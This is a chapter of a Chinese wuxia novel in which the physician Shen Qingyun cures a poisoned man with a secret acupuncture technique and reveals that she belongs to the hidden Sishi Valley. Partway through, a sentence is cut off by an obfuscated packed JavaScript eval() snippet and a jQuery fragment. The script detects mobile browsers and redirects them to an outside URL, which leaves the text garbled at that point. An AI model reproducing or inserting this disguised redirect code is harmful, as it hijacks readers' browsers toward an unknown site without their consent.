来不及细想其中关联,眼下救人要紧。
沈卿云直起身,快步走到一旁案前,取过笔墨纸砚,略一思忖便提笔疾书。
几息间,一张药方已然写成。
“速按此方抓药煎熬。”
她将墨迹未干的药方递给侍立在旁的弟子,语速极快,字字清晰:“药材份量,火候时辰,皆需严格遵循方上所注,一分一毫也错不得,否则药效尽毁。”
言罢,她迅速打开随身药箱,取出那卷惯用的针包,于榻边利落展开。银针寒光微闪,她指尖已拈起一枚长针。
“且慢!你这是作甚?”
薛老见她竟要直接施针,顿时又惊又怒,急步上前欲要阻拦:“此毒诡谲,岂容你胡乱下针!若坏了先前稳住的气机,惊扰毒素反噬,该当如何?你担待得起吗!”
“一切后果,由我一力承担。”
沈卿云抬眸看他一眼,眸光冷意凛冽:“我尊称您一声老先生,敬的是您年长资历,却非认可您医术在我之上。此刻人命关天,还请您看在同为医者的份上,莫再阻挠。”
话音未落,她已侧身避开薛老意图阻拦的手,径直掀开男人身上的薄被。
在医者眼中,此刻唯有生死,何来男女之防。
但见沈卿云指尖银光流转,长短不一的细针在她手中仿佛被赋予了生命,认穴精准,下针果决,手法如行云流水,竟无半分迟疑滞涩。
薛老原本满面怒容,待看清她下针的穴位与手法后,脸色先是惊疑,继而转为难以置信的震惊,最终尽数化为一种近乎敬畏的叹服。
他行医几十载,这般神乎其技的精妙针法,只见过那一次!
但仅仅只是那短暂的一次,便令他终身难忘。
整整两个时辰。
沈卿云额间沁出的冷汗已浸湿鬓角,嘴唇逐渐失却血色,显然是内力与心神俱已耗损极巨。
每一次落针,每一次捻转都需凝聚全身心力,但她持针的手依旧稳如磐石。
然而,奇迹正在她指尖下发生。
榻上男子那原本死灰般的面色竟渐渐透出一丝生气,乌黑发紫的唇瓣也以肉眼可见的速度缓缓褪去骇人的颜色,转为浅淡的粉白。
片刻后,将最后一根银针缓缓拔除,沈卿云长长吁出一口气,如同将千斤重担暂时卸下。
“成了?”
薛老在一旁凝神观察了整整两个时辰,此刻只觉得脚下虚浮,腰背酸软,精神却异常亢奋。
沈卿云将微颤的手轻轻按在榻边,闭目凝神片刻,苍白的脸上才恢复些许生气,低声应道:“成了。”
“后续按方服药,我再每日来行针半个时辰,约莫五日,便能将余毒彻底拔除。”
“神乎其技……果然是灵枢针法!”
薛老恍惚半晌,终于长叹一声,浑浊的眼中迸发出灼热的光彩,一字一顿道出了她的来历:“你是四时谷的弟子。”
沈卿云并未直接承认,也未否认,只是微微偏过头,避开对方探究的视线,语气平淡地囫囵应了一句:“薛老过誉了。”
她将银针逐一收拢归入针包,恰见那年轻弟子端着刚煎好的汤药步入室内,缓声吩咐:“约莫两炷香后,病人便会转醒。届时汤药温度应当正好,喂他服下即可。”
那弟子初时面露困惑,然而目光一转,瞥见榻上病人已然褪去骇人青黑,重现生机的面容时,神情骤然剧变。
连他师父这般行医几十载的名家都束手无策的剧毒,竟真被这年轻姑娘举手之间化解于无形?这是何等惊人的医术!
未等他酝酿出赞叹之词,沈卿云已背起药箱,转身推门而出,将一室的惊诧与议论尽数留在身后。
门外,唐九霄与云澈仍在焦灼等候。见她神色如常地走出,唐九霄心下骤然一松,立刻上前一步,伸手稳稳扶住她疲倦的身形。
云澈难掩急切,上前问道:“沈姑娘,里面情形如何?那位……可还安好?”
不待沈卿云应答,紧随其后的薛老已朗声应道:“好了!全然脱险了!”
他面上早无先前的不豫与轻视,转而朝向那几位仍在惊疑张望的老医者,语气激动难抑:“老夫今日得见圣手施救,亲睹灵枢针法重现于世,此生已然无憾了!”
“什么?”
那几位老者皆被他的狂喜之态惊住,纷纷围拢追问:“薛老,你说清楚!究竟是何等情况?怎会如此之快?”
“哈哈哈哈。”
薛老抚掌大笑,精神焕发如少年,连声叹道:“是灵枢针法!传闻中四时谷的不传之秘!神乎其技,当真神乎其技啊!”
四时谷。
此言一出,瞬间在众人心中掀起惊涛骇浪。不仅那几位老医者瞠目结舌,就连一旁的云澈也骤然变色,眼中尽是难以置信的震惊。
江湖之中,谁人不知那藏于秦州深山峻岭之间,与世隔绝的四时谷?
那里几乎是所有医者心驰神往、却终生难以企及的圣地。
一切皆因谷中世代传承的两部至高医典。
《素问》与《灵枢》。
相传,《素问》穷尽天地药理,涵养生机,能调和阴阳,逆转枯荣。
而《灵枢》则专攻经络针石,银针所至,可通经脉,决生死,有起死回生之妙。
这两部医经,足以令整个江湖为之疯狂,无数人穷尽一生寻觅。
然而四时谷藏于世外,从不轻易开启山门。
即便偶有外界苦苦哀求而至的求医者,也需凭借超脱常人的意志与机缘,闯过谷外天然形成的重重迷阵与考验,方有一线希望得入谷中,求得一线生机。
沈卿云借着唐九霄臂膀的力道缓缓直起身,面色苍白,却端正了神色,朝眼前几人庄重作了一揖。
“既然诸位已猜出来历,我也不好再隐瞒。”
“我虽是四时谷中人,此番出世行医,实是违背了谷中的律令。”
她抬起眼,目光恳切而真诚地扫过云澈,薛老及诸位医者:“在外漂泊,全凭这身医术谋生立足。若今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268786|182207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日之事传扬出去,四时谷传人现世的消息必将引来无数纷扰,只怕我今后再无宁日,亦恐牵连师门清誉。”
“今日出手,实因情势危急,人命重于山岳,不得不破例。”
沈卿云再次深深一揖:“恳请各位念在今日同道相助的情分上,为我保守此秘。沈卿云在此拜谢,他日若有机缘,定当报答诸位守口之恩。”
“沈姑娘此言真是折煞我等。”
云澈率先回过神来,急忙上前一步,竟是对着沈卿云深深一揖,语气郑重无比:“姑娘今日救我云家贵客,保全龙泉山庄声誉,此乃天大的恩情。”
“我云澈以云家列祖列宗之名起誓,今日所见所闻,若有半字泄露,致使姑娘遭遇烦扰,便叫我天打雷劈,不得好死,云家基业亦就此倾颓!”
薛老与在场几位名医见少庄主竟立下如此重誓,皆是心神剧震,再无半分犹豫,纷纷肃容拱手,声音铿锵:“沈姑娘放心!我等虽为鄙陋,却也知恩义,守信诺!”
“今日之事,出得你口,入得我耳,绝不会有半分消息传入旁人耳中!若有违此誓,叫我等身败名裂,永失医道!”
唐九霄立于沈卿云身侧,默然听着这一切,覆在面巾下的薄唇紧抿。
誓言固然沉重,可人心深不可测。
来日四时谷传人现世的消息一旦走漏,所能引来的轩然大波岂是这几句誓言能平息的?
未等他出言,唐九霄便觉臂弯一沉,只见沈卿云身子一软,轻飘飘地靠入他怀中,竟是彻底脱力,昏睡过去。
他心下蓦地一紧,不及多思,手臂已下意识地穿过她的腿弯,将人稳稳打横抱起。
“她午后便未曾停歇,接连问诊,方才又耗神行针,怕是心神透支太过。”
他低头细察怀中人面容,见其呼吸虽弱却还算平稳,只是沉沉睡去,并无其他异状,这才略松了口气,抬眼看向云澈,语气不容置疑:“夜色已深,烦请少庄主即刻安排一间清净客房,容她歇下。”
云澈见状,立刻侧身引路:“厢房早已备下,兄台请随我来。”
他目光扫过沈卿云苍白的睡颜,眼中感激与忧色交织:“我这就差人送些温补的参汤过去,再唤个稳妥的侍女在旁伺候着,若有任何需要,随时吩咐。”
唐九霄微一颔首,不再多言,只将怀中人护得更紧些,大步随着云澈穿过夜色笼罩的回廊。
廊下灯笼昏黄的光晕流转,悄然映照出女子沉睡的侧颜。
她睡得极沉,长睫在眼下投出浅浅阴影,呼吸轻浅。
可不知是梦魇纠缠,还是方才耗神太过,那秀气的眉头竟深深蹙起,在眉心刻下一道清晰的折痕,仿佛连在睡梦中,仍被什么无形重担紧紧压着,不得舒展。
唐九霄低头凝视着那道蹙痕,脚步不由自主地放缓了些,抱着她的手臂收得更稳,试图以这份安稳驱散她梦中的不安。
夜风穿过廊下,带来几分凉意。他却只觉得有股不知从何吹来的忧虑,沉甸甸地压在了心头。